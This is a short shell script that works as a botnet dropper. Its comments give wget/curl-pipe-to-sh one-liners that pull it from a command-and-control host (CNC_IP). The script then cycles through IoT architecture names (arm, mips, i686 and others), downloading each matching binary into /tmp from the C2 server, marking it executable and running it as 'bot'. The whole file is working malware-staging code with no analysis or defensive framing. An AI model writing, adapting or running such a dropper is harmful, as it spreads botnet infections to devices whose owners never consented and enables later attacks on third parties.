#!/bin/sh
# Super-simple drop tester: try each arch until one runs.
#
#   wget -qO- http://CNC_IP/drop-simple.sh | sh
#   wget -qO- http://CNC_IP/drop-simple.sh | sh -s -- http://CNC_IP
#   curl -fsSL http://CNC_IP/drop-simple.sh | sh -s -- http://1.2.3.4
#
# Optional arg: BASE URL (http://CNC_IP). If omitted, uses baked BASE below.

# FETCH_BASE_DEFAULT

BASE="${1:-}"
if [ -z "$BASE" ]; then
  echo "[drop-simple] need BASE: sh drop-simple.sh http://CNC_IP" >&2
  exit 1
fi
BASE=$(echo "$BASE" | sed 's|/*$||')

cd /tmp || exit 1
export POC_ALLOW_VM="${POC_ALLOW_VM:-1}"
echo "[drop-simple] uname=$(uname -m)  base=$BASE  POC_ALLOW_VM=$POC_ALLOW_VM"

# Try common publish names until one downloads and runs.
for ARCH in bot aarch64 armv7l armv5l armv4l i686 mipsel mips mips64; do
  OUT="/tmp/d-${ARCH}-$$"
  rm -f "$OUT"
  echo "[drop-simple] try ${BASE}/${ARCH}"

  OK=0
  if command -v wget >/dev/null 2>&1; then
    wget -q -O "$OUT" "${BASE}/${ARCH}" 2>/dev/null && OK=1
  elif command -v curl >/dev/null 2>&1; then
    curl -fsSL "${BASE}/${ARCH}" -o "$OUT" 2>/dev/null && OK=1
  elif command -v busybox >/dev/null 2>&1; then
    busybox wget -q -O "$OUT" "${BASE}/${ARCH}" 2>/dev/null && OK=1
  else
    echo "[drop-simple] no wget/curl/busybox" >&2
    exit 1
  fi

  if [ "$OK" != 1 ] || [ ! -s "$OUT" ]; then
    echo "[drop-simple]   miss/empty"
    rm -f "$OUT"
    continue
  fi

  SZ=$(wc -c <"$OUT" | tr -d ' ')
  if [ "$SZ" -lt 256 ]; then
    echo "[drop-simple]   too small (${SZ}B) — skip stub"
    rm -f "$OUT"
    continue
  fi

  chmod +x "$OUT" || { rm -f "$OUT"; continue; }
  echo "[drop-simple]   got ${SZ}B — running $OUT"
  exec "$OUT" bot
done

echo "[drop-simple] nothing worked" >&2
exit 1
